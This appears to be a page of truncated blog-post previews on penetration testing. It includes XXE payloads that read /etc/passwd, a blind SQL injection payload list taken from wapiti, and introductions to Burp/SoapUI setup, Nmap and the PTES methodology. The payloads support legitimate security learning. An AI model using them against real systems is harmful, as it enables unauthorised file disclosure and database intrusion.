<?xml version=”1.0" encoding=”ISO-8859–1"?> <!DOCTYPE xxe [<!ENTITY foo “aaaaaa”>]> <!DOCTYPE xxe [<!ENTITY foo “aaaaaa”>]><root>&foo;</root> <?xml version=”1.0" encoding=”ISO-8859–1"?><!DOCTYPE xxe [<!ENTITY foo “aaaaaa”>]> <?xml version=”1.0" encoding=”ISO-8859–1"?><!DOCTYPE xxe [<!ENTITY foo “aaaaaa”>]><root>&foo;</root> <?xml version=”1.0" encoding=”ISO-8859–1"?><test></test> <?xml version=”1.0" encoding=”ISO-8859–1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///etc/passwd” >]><foo>&xxe;</foo> <?xml version=”1.0" encoding=”ISO-8859–1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///etc/passwd” >]> <?xml version=”1.0" encoding=”ISO-8859–1"?><!DOCTYPE foo…

Blind SQLi # from wapiti sleep(__TIME__)# 1 or sleep(__TIME__)# “ or sleep(__TIME__)# ‘ or sleep(__TIME__)# “ or sleep(__TIME__)=” ‘ or sleep(__TIME__)=’ 1) or sleep(__TIME__)# “) or sleep(__TIME__)=” ‘) or sleep(__TIME__)=’ 1)) or sleep(__TIME__)# “)) or sleep(__TIME__)=” ‘)) or sleep(__TIME__)=’ ;waitfor delay ‘0:0:__TIME__’ — );waitfor delay ‘0:0:__TIME__’ — ‘;waitfor delay ‘0:0:__TIME__’ — “;waitfor delay ‘0:0:__TIME__’ — ‘);waitfor delay ‘0:0:__TIME__’ — “);waitfor delay ‘0:0:__TIME__’ — ));waitfor delay…

Blind SQLi # from wapiti sleep(__TIME__)# 1 or sleep(__TIME__)# “ or sleep(__TIME__)# ‘ or sleep(__TIME__)# “ or sleep(__TIME__)=” ‘ or sleep(__TIME__)=’ or sleep(__TIME__)# “) or sleep(__TIME__)=” ‘) or sleep(__TIME__)=’ 1)) or sleep(__TIME__)# “)) or sleep(__TIME__)=” ‘)) or sleep(__TIME__)=’ ;waitfor delay ‘0:0:__TIME__’ — );waitfor delay ‘0:0:__TIME__’ — ‘;waitfor delay ‘0:0:__TIME__’ — …

SoapUI configuration with BurpSuite certificate I am going to cover the below topics SoapUI tool and Burp Suite configuration Generating a Burp certificate that is compatible with Soap UI tool Installing the Burp Suite certificate at SoapUI tool level Installing the Burp Suite certificate at SoapUI project level Installing the…

Real world penetration testing with NMAP — What is NMAP: It is a network mapper i.e., we can map the entire network of an organization What NMAP can do: It can scans the IP’s, ports, services and etc. Probe the open ports for running services, if the services are running, it goes further and probes the…

PENETRATION TESTING EXECUTION STANDARD METHODOLOGY PTES Web Application Methodology, includes 7 steps Pre-engagement Information Gathering Threat Modelling Vulnerability Analysis Exploitation Post-Exploitation Reporting Pre-Engagement: Most important steps in the penetration process, though this phase does not include any practical testing, but forms the base for the overall engagement. This phase includes